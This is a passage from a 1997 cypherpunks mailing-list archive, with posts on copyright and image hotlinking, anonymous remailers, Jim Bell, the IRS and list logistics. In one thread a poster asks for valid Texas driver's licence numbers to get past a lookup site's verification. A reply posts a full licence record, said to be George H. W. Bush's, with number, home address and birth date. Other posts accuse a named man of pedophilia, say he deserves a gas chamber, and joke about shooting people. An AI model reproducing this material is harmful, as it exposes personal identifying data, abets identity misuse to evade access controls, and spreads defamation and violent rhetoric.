machine.  The reason for this one is that the image is ITAR/EAR
sensitive, and Lance's machine is in the US.

Is it possible to include text in a web page?  I know you can do
images (as in the above example) by doing:

	Look what the silly copyright police are doing...

	<IMG SRC="http://copyright.police.com/copyright-image.gif">

	isn't that a daft claim?

And copyright.police.com is serving their own image so they have no
grounds for complaint.  (Moi? I just referenced it... it was Joe Q
Publics web browser which combined my text and your copyrighted
image).

Now I don't think you can do

	<TEXT SRC="http://copyright.police.com/copyright-article.html">

directly, but I'd be willing to bet you could do it with javascript/or
java, in such a way that the viewer wouldn't really figure out where
the various parts of the current "page" were coming from.

Anyway, the copyright police, WIPO, SPA etc. are the enemy in my book.
The difficulty of trying to applying these old laws to the internet
where they hardly make sense, suggests that copyright is going to have
to "give" longer term to adjust to reality.  Legislation against
gravity never works out long term.

I was kind of hoping eternity might become a small contributing factor
for this cause.  1 copyrighted text so far.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 20 Aug 1997 13:25:06 +0800
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Anonymous Remailers
In-Reply-To: <33FA7114.5ED1@sk.sympatico.ca>
Message-ID: <199708200516.AAA12287@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33FA7114.5ED1@sk.sympatico.ca>, on 08/19/97 
   at 10:22 PM, Toto <toto@sk.sympatico.ca> said:

>  Law Enforcement Agencies fully recognize the need for anonymous
>communications, setting up hotlines that they advertise as being free
>from call-tracing, etc. Is this capacity to be denied to  private
>citizens and groups who wish to communicate with those  who need their
>help?

I hope you really don't think that any call made to an LEA is "anonymous".
If in doubt try calling one of these "anonymous" lines and make several
crank calls and see how long before they are kicking in your door.

The LEA's do not beleive in anonymity only in having the sheeple beleive
in the false apperance of anonymity. Very simmilar how Clipper, GAK, and
weak crypto give the sheeple a false sence of security.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 20 Aug 1997 17:51:00 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cypherpunks as a Terrorist Organization
In-Reply-To: <v03102800b01eb9677bb3@[207.167.93.63]>
Message-ID: <3.0.2.32.19970820010925.02f74b5c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:02 AM 8/19/97 -0400, Duncan Frissell wrote:
>State is lagging in issuing the terrorist organization list required
> by this law.  It is believed that they are chicken because most of the 
>groups would be Moslem groups and this would be considered [...] IRA ...

>In any case, I don't think that we have to worry because we don't fund 
>anyone.  We just send non-cash bits.  The law requires that a foreign 
>terrorist group on the "Attorney General's List" (actually State 
>Department) receive money or physical support.  

I've never sent real gold or silver money to the terrorist groups
_I_ support.  Maybe some pieces of paper with my writing and some MICR,
or maybe some notes from the Fed that promise to pay in US dollars, but
certainly no money...



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#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 20 Aug 1997 18:09:31 +0800
To: "David Downey" <digital_matrix@hotmail.com>
Subject: RE: David Downey asks to be shot
In-Reply-To: <19970820034801.16798.qmail@hotmail.com>
Message-ID: <3.0.2.32.19970820011622.02f755a8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:48 PM 8/19/97 PDT, David Downey wrote:
>     Wow, I'm really moving up in the world. Now I've officially been 
>classified as an enemy of the people. Cool! Where's my award money?

No award money, but there's a lottery with your name on it .....
:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 08:38:37 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May in the news
In-Reply-To: <Pine.GSO.3.95.970819001614.8547B-100000@use.usit.net>
Message-ID: <199708200022.CAA13961@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:35 AM 8/19/97 -0400, you wrote:
>Following tonight's "Chicago Hope," which dumped an immense wad of
>socialist propaganda on us ("Health care is a right!"  "No one should ever
>profit off a sick child."), the local news ran a CBS-produced feature
>about the internet.

Figures.

A hearty "up yers" is in order to them.

>First half showed how cute bunny-rabbit cartoons
>can educate your little hothouse genius.  Second half then explained how
>there are {gasp} dirty *sex* sites out there that junior could
>accidentally stumble across.  Obviously, something *must* be done.

Yeah, perhaps teaching your kids what's wrong and right, to the best of
your ability, and no less, as a parent.  Perhaps also teaching them how not
to get sucked into a pedophile.

>Feature included a representative teen who manfully resists the temptation
>to look at the feelthy pictures, 16-year-old Tim May of California.
>
>I'm not making this up.

?????

>I wonder if it's an accident or a deliberate middle-finger from the
>propagandists?

Sounds like an accident at first, but, well...
/===========================================================\
  Help win the fight against weak encryption!  Break RC5-56
 -----------|>  http://rc5.distributed.net/  <|-------------
               Member of Starbase XII RC5 Team
  Free secure e-mail, a reality?  Yes! Pretty Good Privacy
      available at http://web.mit.edu/network/pgp.html
\===========================================================/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 09:01:23 +0800
To: cypherpunks@toad.com
Subject: Re: The Real Bell Issue / Re: Bell, etc
In-Reply-To: <199708190730.JAA00747@basement.replay.com>
Message-ID: <199708200042.CAA15810@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:30 AM 8/19/97 +0200, you wrote:
>The following, from the Columbian, lies at the heart of the
>  Every year, just before Income Taxes are due, the IRS picks out
>a few people to unjustly persecute in order to strike fear into
>the heart of the taxpaying sheeple.

Sounds plausible enough.

>  Apply for a tax refund and have every real or imagined sin you
>have ever commited used against you.
>  "A person who asked the IRS for a tax refund, had his home raided
>today by 20 armed government terrorists from a wide variety of
>government agencies.
>  "This person who asked for a TAX REFUND has never been proven to
>have anything to do with DRUGS such as METHAMPHETAMINE, and is not
>known to be a SPEED FREAK or a DRUG DEALER. As well, government
>agents investigating the person asking for the TAX REFUND have
>never found any ILLEGAL DRUGS on his person or property, but the
>person who asked for the TAX REFUND will be mentioned in connection
>with DRUGS and METHAMPETAMINE, or SPEED, CRANK, etc., for the rest
>of his life, every time he "comes to our attention" as a result
>of asking for a TAX REFUND."

The IRS (Internal Revenue Stealers) enjoys making examples of people who
dare to defy the income theft.

>  The IRS spends the whole year going after people who they deem
>to be guilty of tax evasion, and it is usually a fairly boring
>affair involving accountants and lawyers.

The blood-sucking variety.
/===========================================================\
  Help win the fight against weak encryption!  Break RC5-56
 -----------|>  http://rc5.distributed.net/  <|-------------
               Member of Starbase XII RC5 Team
  Free secure e-mail, a reality?  Yes! Pretty Good Privacy
      available at http://web.mit.edu/network/pgp.html
\===========================================================/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 20 Aug 1997 05:12:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cypherpunks as a Terrorist Organization
In-Reply-To: <v03102802b01f85816bc0@[207.167.93.63]>
Message-ID: <Pine.LNX.3.93.970820023058.124I-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 19 Aug 1997, Tim May wrote:

[...]

> As a matter of fact, I expect there have already been actions demanding
> that DejaNews purge their data bases of some posting or another. After all,
> they are truly a form of "eternity server."

It is possable to remove your own posts from the dejanews. However there
policy says basicly We just index Usenet we are not responcible for what
peaple stick on it.

Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Wed, 20 Aug 1997 01:45:02 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: It's Official...
In-Reply-To: <v03110716b01f5fbb5c7d@[139.167.130.248]>
Message-ID: <Pine.LNX.3.96.970820030557.4635A-100000@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 19 Aug 1997, Robert Hettinga wrote:

>                                                        We're Becoming
>                   The term is being coined by Dr.      Cyber
>                   Kimberly Young, an assistant         Junkies--Electronic
>                   professor of psychology at the       Engineering
>                   University of Pittsburgh at          Times
>                   Bradford, in Bradford, Pa. With her
>                   paper's presentation, the APA will
>                   classify excessive Internet use as

Typical tactics by qwacks impersonating scientific researchers. Invent a
new mental ailment and cash in on insurance. I'll stick to entrail
readers.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Wed, 20 Aug 1997 21:05:22 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <25904.872081322@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: Brent Heustess <heustess@mail.utexas.edu>
>
>   This is a really spooky web site <http://www.publiclink.com>.  You can
>search 17 million Texas drivers by name, driver's license number or
>license plate number.  When you find a person, you can then find everyone
>at that address with a license.  You can even find everyone with the same
>9-digit zip code.  The record does not have a GIF of the photo, but it
>has everything else on the license.

The URL has changed to <http://www.PublicData.Com/> and requires a valid
TX DL that is verified against the database.  Anyone care to post a few
for anonymous re-use?

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 12:43:29 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
Message-ID: <199708200426.GAA09347@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert A. Costner wrote:
> 
> In Georgia, while we have won a temporary injunction and assume we will see the law 
fully struck down, EFGA is still involved in lawsuit against the state
over internet 
anonymity.  I actually don't contemplate another affidavit in this case,
but it may 
happen.  If I need to write another affidavit in support of the
remailer, I will only 
have about two weeks to get it done.

  Don't write an affidavit, write an indictment.
  Say, perhaps, an indictment of our founding fathers for their use of
anonymity,
as well as tacking a "use of crypto in commission of a crime" charge on
to the
indictment.
  You can site Paul Revere's use of cryptography ("one if by land, two
if by
sea) to implicate the whole bunch in a drug dealing child pornography
ring.
Perhaps you might even want to trace the founding fathers' use of
anonymity
and strong-lantern encryption to the moral corruption existing today.

LanternMonger
"The founding father of drug dealing child pornography rings."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Wed, 20 Aug 1997 15:33:56 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <S44grXLzVurjNRXGujamZw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Toto wrote:

>   I, for one, am not going to stand by listlessly while fascists
> attempt to build an ElectroMagnetic Curtain around me.
>   I have a byte, and I'm not afraid to use it.
> 
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix
> "WebWorld & the Mythical Circle of Eunuchs"
> http://bureau42.base.org/public/webworld

  And T.C. May has a *MegaByte*...

ByteMonger
"Take a MegaByte out of crime--do a denial of service attack on
Congress."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 13:54:19 +0800
To: cypherpunks@toad.com
Subject: Re: David Downey asks to be shot
Message-ID: <199708200541.HAA16921@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 6:23 AM -0700 8/19/97, David D.W.Downey wrote:
> >blackjack@hotmail.com wrote:
> >> Saw your post in the newsgroups.
> >> Check this out!
> >  Ya know, this shit really pisses me off. I understand that we have to
> >protect everyone's rights if we wish are own to be protected.
> > I understand that we have to protect the enemies'
> >rights too, but can't we just shoo a few of them first? Lowers the
> >numbers needing protection and might help us out in the end.

> I agree. We should shoot a few of the enemies first.
> I suggest you be shot.

  Better yet, let's shoot the people "needing protection."
  Once they're dead, there will be no need for all those laws
designed to protect them.

  What a brilliant idea! I'll probably get the Nobel Peace Prize
for this one!

FuckingForVirginityMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 13:58:30 +0800
To: cypherpunks@toad.com
Subject: Unclear on Bell / Re: The Real Bell Issue / Re: Bell, etc
Message-ID: <199708200541.HAA16924@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> One lesson, or reminder, I take from the Bell matter is this:
> 
> Avoid doing stupid and petty things like using multiple Social Security
> numbers, evading taxes, and releasing stink bombs into government (or
> other) offices.
> 
>  (These are things Bell has pled on, as I recall the transcripts, so
> there's little doubt about them. And had he pled not guilty and gone to
> trial, apparently the evidence would've convicted him on most of the
> charges. Perhaps this is why he pled.)

  I am unclear on something.
  Did the government imprison without bail a citizen who evaded taxes
and made a government office smell bad, or did the government allow
a terrorist who was actively plotting to overthrow the government
to plead guilty to inconsequential charges?

  If I get arrested for plotting to Nuke D.C., should I hire Bell's
lawyer and try to get it reduced to jaywalking? Or should I avoid
jaywalking to prevent getting arrested for plotting to Nuke D.C.?

???Monger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Wed, 20 Aug 1997 15:17:32 +0800
To: cypherpunks@toad.com
Subject: Re: HIP hip hooray
In-Reply-To: <199708130952.LAA17846@xs1.xs4all.nl>
Message-ID: <19970820085300.01356@sequent.com>
MIME-Version: 1.0
Content-Type: text/plain



--- On Aug 16, Lucky Green apparently wrote -----------------------------------

> At 11:52 AM 8/13/97 +0200, Zooko Journeyman wrote:
> > A million monkeys operating under the pseudonym 
> > "Mark Grant <mark@unicorn.com>" typed:
> >>
> >> Hey, Zooko! You were the only Cypherpunk who made the article in the
> >> 'Independent' (by that blonde reporter who was wandering around), though
> >> Lucky Green was mentioned by name.
> >
> >Wow.  Oh how the mighty have fallen, from an adulatory spread 
> >in Wired to a mention in The Independent.  And to think that 
> >Lucky was the fellow who was supposed to get the most benefit 
> >from the situation in the first place!
> 
> Lucky got much benefit from HIP. [What's the smiley for a *huge* grin?]

Well you have two possibilities:

:-D             Wider happy face (or Mistrel singers)
:-)))           reeeel happy, big smile

Always glad to be of help... Keep  in touch and we'll meet again in 2001
(if not sooner, some people in  the Netehrlands say that once every four
years just isn't enough ;-)

> --Lucky Green <shamrock@netcom.com>

--- and thus sprach: Lucky Green <shamrock@netcom.com> ------------------------

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster on http://www.IAEhv.nl/users/hvdl ==============
     ,;( )_, )~\| Hans "Unicorn" Van de Looy     PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;   GSM: +31 653 261 368                52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 15:14:49 +0800
To: cypherpunks@toad.com
Subject: Re: The Real Bell Issue / Re: Bell, etc
Message-ID: <199708200700.JAA25135@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote:

> He could have been aggressive and fought instead of wimping out.  Lots of
> people have faced much more serious crimes and won.  It's not like Jim had
> anything better to do.

  The fact of the matter is, none of us know what Jim knows, and what
he knows is likely only what his government appointed schill has told
him. I recall Vin Suprynowicz mentioning a prominent attorney contacting
Bell's attorney in an effort to help, and receiving no reply.
  Neither do we know if Bell has merely decided that he should concede
the legal ground in order to be able to pursue the issue later, on
turf that suits him better.
 
> In such cases, an aggressive show of strength of character is best.  Weakness
> invites oppression. 

  We have already seen the results of Tim McVeigh wanting his government
schill replaced--a big FUCK YOU.
  McVeigh's problem is not weakness, but lack of knowledge about the
legal system and the quality of his legal representation. Unfortunately,
I have no doubt that the government already has lawyers in place whose
job thus far has been to gain McVeigh's trust, so that they can screw
up his appeals, as well.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 20 Aug 1997 21:22:43 +0800
To: cypherpunks@toad.com
Subject: e$: Cypherpunks Game: Terrorist Geodesic AP ZOG XXX-Teen NetFUD
Message-ID: <1.5.4.32.19970820130138.006e58ac@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



WaJo 8-20-97:

High Tech 'n' Terrorists: Clancy Signs 24-Book Deal

New York - Best-selling author Tom Clancy signed a 
24-paperback deal with a division of Penguin Putnam Inc.
that is expected to be announced today, according to 
people close to the deal.

Berkley Publishing Group is paying an advance of 
approximately $22 million according to these people. 
The series, set in the near future, will include six 
adult and 18 juvenile novels.

Berkley will publish the series, "Tom Clancy's Netforce," 
over the next four to six years. In the books, the 
Internet and virtual reality have melded so that people 
spend most of their time on-line. The technology proves 
irresistible to terrorists and anticomputer zealots, who
are pursued by the Netforce.

The agreement comes on the heels of another deal Mr. 
Clancy recently made with Penguin, a unit of London media
company Pearson PLC. Pearson this month announced a 
long-term agreement with Red Storm Entertainment
Inc., a media-entertainment company founded by Mr. 
Clancy and Virtus Corp., an interactive-applications 
concern. Under that agreement, Penguin, along with
other Pearson subsidiaries, will join Red Storm to 
market multiplayer on-line games and other multimedia 
products.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 15:21:49 +0800
To: cypherpunks@toad.com
Subject: Re: David Downey asks to be shot
Message-ID: <199708200704.JAA25776@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



David Downey wrote:
> 
>      Wow, I'm really moving up in the world. Now I've officially been
> classified as an enemy of the people. Cool! Where's my award money?

  Pick it up under the bridge at midnight.
  Come alone...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 15:46:47 +0800
To: cypherpunks@toad.com
Subject: Re: bloodlust or game-theory?
Message-ID: <199708200729.JAA29547@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin finally came to his senses and described
government thusly:
> 
> It's actually closer to a cult -- a small group with it's own shared
> reality -- a reality quite at variance with societal norms.  The cult
> has its own terminology, and an underlying dogma to which these code
> words refer.  The cult has "special knowledge" that has been revealed
> to them concerning massive changes that will happen to society --
> changes that will usher in a new world order.  These changes may
> involve the world going through a cleansing fire of war of war and
> destruction.

  D.C. and the Pentagon, right?

> Certain of the members sport a messiah or a martyr complex.  It is
> also quite common for cults to call for arming the brethren against
> the coming struggle

  Yes, like Park Rangers with Uzi's, and Postal Service swat teams.

> It's all so predictable.

  As Tim May constantly reminds us, in regard to the cypherpunk list
archives.

  Glad to see that you're coming around, Kent, and finally recognizing
the government for the insider cult it has become.

KentMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Wed, 20 Aug 1997 16:28:14 +0800
To: hvdl@sequent.com (Unicorn)
Subject: Re: HIP hip hooray
In-Reply-To: <19970820085300.01356@sequent.com>
Message-ID: <199708200801.KAA03584@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> Always glad to be of help... Keep  in touch and we'll meet again in 2001
> (if not sooner, some people in  the Netehrlands say that once every four
> years just isn't enough ;-)

Rumours say it will be called HAL 2001 (hacking @ large)

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 20 Aug 1997 23:51:44 +0800
To: cypherpunks@toad.com
Subject: Pedophile Chris Lewis deserves to die in a gas chamber
In-Reply-To: <25904.872081322@zelkova.qualcomm.com>
Message-ID: <m2oqBe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Pomes <ppomes@Qualcomm.com> writes:

> >From: Brent Heustess <heustess@mail.utexas.edu>
> >
> >   This is a really spooky web site <http://www.publiclink.com>.  You can
> >search 17 million Texas drivers by name, driver's license number or
> >license plate number.  When you find a person, you can then find everyone
> >at that address with a license.  You can even find everyone with the same
> >9-digit zip code.  The record does not have a GIF of the photo, but it
> >has everything else on the license.
> 
> The URL has changed to <http://www.PublicData.Com/> and requires a valid
> TX DL that is verified against the database.  Anyone care to post a few
> for anonymous re-use?
> 
> /pbp
> 


The Net.Scum pages for Peter and Stephanie Dasilva included the TX DL #'s
for both of them.

Paul Pomes is the scumbag who harrasses remailer operators, their upstreams
and employers, in an effort to shut down the remailers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 20 Aug 1997 22:57:54 +0800
To: cypherpunks@toad.com
Subject: Jim Belling the Bulls
Message-ID: <1.5.4.32.19970820143745.00712e08@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



August 20, 1997

R.I. Passes Body Fluid Felony Law

PROVIDENCE, R.I. (AP) -- Inmates on the East Coast refer to it as
``serving'' a prison guard, while in the West it's called ``gassing.'' 

Guards know it simply as being splashed or smeared with urine or feces. 

``It's a badge of honor to serve an officer,'' said Richard Loud, president
of the Rhode Island Brotherhood of Correctional Officers. ``When an officer
gets served, the other inmates all cheer. They think it's a big joke.'' 

Rhode Island is among the states that have adopted laws to crack down on the
activity. A bill signed July 1 by Gov. Lincoln Almond makes throwing bodily
fluids or wastes a felony punishable by up to five more years behind bars
and a $5,000 fine. 

New York adopted a similar law last year, although, unlike the one in Rhode
Island, it didn't include saliva. 

``I think Rhode Island probably has one of the best laws in the country,''
said Stephen Chand, director of federal affairs for the Law Enforcement
Alliance of America. 

Rep. Gerald Solomon, R-N.Y., has sponsored federal legislation requiring
that inmates be tested for the AIDS virus if their bodily fluid or waste
touches a guard. 

Two such assaults occur a month at Rhode Island's state prison, Loud said
Tuesday. 

Some believe the punishment is excessive. 

``We think it is a harsh reaction to a non-issue,'' said Steve Brown,
executive director of the state chapter of the American Civil Liberties
Union. ``I think in most cases this will involve spitting. Inmates shouldn't
be spitting on guards, but certainly it doesn't merit a five-year prison
sentence.'' 

The act has been taking place for years in prisons, but such bills are
gaining strength because of the fear of AIDS. 

``The scientific and medical evidence is abundantly clear that it is
virtually impossible to get infected with the HIV virus through that sort of
conduct,'' Brown said. 

Prisons already can punish inmates by placing them in solitary confinement
or revoking other privileges, or can try them for misdemeanor assault, Brown
said. But authorities have had trouble prosecuting inmates under the
misdemeanor assault law, said Rep. Joseph McNamara, D-Warwick, the bill's
sponsor. 

``It's difficult to prove intent to do harm,'' McNamara said. 

However, he said, the fact that different slang terms exist for the act in
various parts of the country show how much a part of prison culture it is. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 20 Aug 1997 23:54:43 +0800
To: cypherpunks@toad.com
Subject: Re:  publicdata
In-Reply-To: <25904.872081322@zelkova.qualcomm.com>
Message-ID: <Chameleon.872087988.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain





> The URL has changed to <http://www.PublicData.Com/> and requires a valid
> TX DL that is verified against the database.  Anyone care to post a few
> for anonymous re-use?
> 
> /pbp
> 


How about...


Name: BUSH,GEORGE HERBERT
License number: 000173204
Address:  9 S West Oak Dr
Date of birth: 6/12/24
City/Zip code:> HOUSTON 77056-2121
Gender: MaleRace: White
Height: 6.01
Weight: 190 pounds
Eye color: Gray
Hair: Brown
Last transaction date: 3/30/93
Last transaction: Renewal

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/20/97
Time: 10:38:56
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 20 Aug 1997 23:51:29 +0800
To: Tim May <tcmay@got.net>
Subject: Articles on Jim Bell and AP
In-Reply-To: <v03102802b01e64927313@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970820113705.25402A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Yep, you can find my Netly News article on Jim Bell at
http://netlynews.com/ -- search in the archives for Assassination.

I have a longer, 6-page, writeup of the Bell saga in last month's Internet
Underground magazine.

Back to my vacation...

-Declan




On Mon, 18 Aug 1997, Tim May wrote:
> As for info on Jim Bell, the article by Declan is widely available, and is
> quite informative. As for elaborating it further, or including more
> boilerplate, this seems pointless. Anyone knew to the story can read
> Declan's article. Anyone seeking even more information presumably knows how
> to use search engines and should be able to find the various essays and
> articles directly.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 20 Aug 1997 12:44:17 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Picketing With Packets
In-Reply-To: <1BBmBe2w165w@bwalk.dm.com>
Message-ID: <Pine.OSF.3.96.970819151312.9407A-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 18 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

[...Standford wallis...]
 
> He's the loudest one. However in the week his system has been down,
> the amount of shit from Quantcom, newvest, etc hasn't subsided.

So we should work on stopping them.  Each one we stop it will be a little
harder to defend them selves.

> The answer is a technical solution that doesn't let the spammers drown
> out a discussion, if that's what you mean by censorship.

That is, you have one for me I hope.

[...]

> For reasons unknown, I seem to be on someone's mailing list for MMF's
> - I get A LOT of them in e-mail :-(

So you haven't seen the make "Make Dimitry Mad" posts to
alt.make.money.fast?  :D

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex Le Heux <alexlh@yourchoice.nl>
Date: Wed, 20 Aug 1997 20:52:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Alex le Heux
Message-ID: <199708201244.OAA15927@sarah.yc>
MIME-Version: 1.0
Content-Type: text



In article <199708181919.VAA19973@xs2.xs4all.nl> you wrote:

: Hey HEY!  It's the man who nearly managed to single-handedly 
: derail the PGP legal export hack by playing the block rocking 
: beats (all vinyl) which inspired the vacationing hackers to 
: spill the drinks on the source books.

What's a sourcecode book without a few drinks spilled on it? :)

: Welcome to the list!

Thanks :)

: Zooko the Mysterieux

: P.S.  MP3 is coooool.  CDNow.com needs to start selling MP3's 
: in return for digital cash small change!

It does :) Much better than lugging all these CDs around. Or vinyl for
that matter. We actually tried to get some mixing going with the BeOS
MP3 player (which has pitch control), but it needs some more work before
it's feasable :)

Cheerio,

alex


--
/// I dabble in techno-house and sometimes,
/// I do that badass hip-hop thang...
/// But the F U N K gets me every time!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Wed, 20 Aug 1997 14:23:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Status of Cypherpunks list sites?
In-Reply-To: <v03102808b01fb66ae7bf@[207.167.93.63]>
Message-ID: <Pine.LNX.3.96.970820152437.5044B-100000@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 19 Aug 1997, Tim May wrote:

> Anyway, has anybody been doing any pings of the various lists to see which
> ones are  most available and have the lowest latencies for redistribution
> to subscribers?

This would be interesting.
 
> And shouldn't we all be making a more serious effort to drop the use of the
> "cypherpunks@toad.com" address, as John said some months back that he would
> support forwarding stuff for a while, but not necessarily forever. As it
> is, it just adds another hop and another potential weak link.

I think in principal this makes good sense. I am subscribed to toad and
cyberpass under 3 or 4 names and I find toad is by far the quickest in
turn around time to me. One thing of interest is that I was an early
